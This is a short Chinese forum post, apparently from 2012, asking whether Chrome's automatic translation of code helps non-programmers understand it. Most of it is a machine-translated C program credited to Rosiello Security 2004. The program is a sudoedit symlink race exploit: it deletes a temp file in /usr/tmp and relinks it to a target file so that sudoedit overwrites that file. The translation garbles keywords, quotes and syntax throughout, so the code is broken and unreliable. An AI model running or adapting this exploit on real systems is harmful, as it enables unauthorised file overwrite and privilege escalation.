-
-
程序是人的思路
-
发表于:
2012-1-1 18:40
4068
-
今天用GOOGLE浏览器看了国外论坛,CHORME自动把代码都翻译了,
让不懂程序的人都能知道代码可能做什么,是不是这样?
#包括<stdio.h>
#包括<sys/stat.h>
#包括文件<string.h>
#包括包含<sys/types.h>
#包括<fcntl.h>
#包括<stdio.h>
#包括<dirent.h>
INT主(INT ARGC,CHAR * ARGV [])
{
字符的PATH []="/ usr / tmp目录“中;
字符文件[32];
DIR * TMP;
结构dirent * DE;
TMP = opendir(PATH);
INT发现= 0;
printf(“请版权问题的© Rosiello安全2004 \ N”);
printf(“请http://www.rosiello.org \ N”);
(argc! = 2)
{
printf(“请用法:%s的文件\ n”,ARGV [0]);
回报(0);
}
((DE = READDIR(TMP))!= NULL)
{
((strstr(DE -> d_name,“rosiello”)!= NULL))
{
(strlen的(去> d_name)> 24)返回(0);
sprintf的(文件,“%S /%S”,PATH中,(char *)的解> d_name);
删除(文件);
如果(使用fork()!= 0)
{
一个execl(“/ BIN / LN”,“LN”,“- S”,ARGV [1],文件,NULL);
}
wait()的;
printf(“请现在你可以关闭sudoedit并重新打开rosiello \ N!”);
发现= 1;
转到结束;
}
}
结尾:
closedir(TMP);
如果(!发现)
printf的(“未找到文件\ N!”);
回报(0);
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)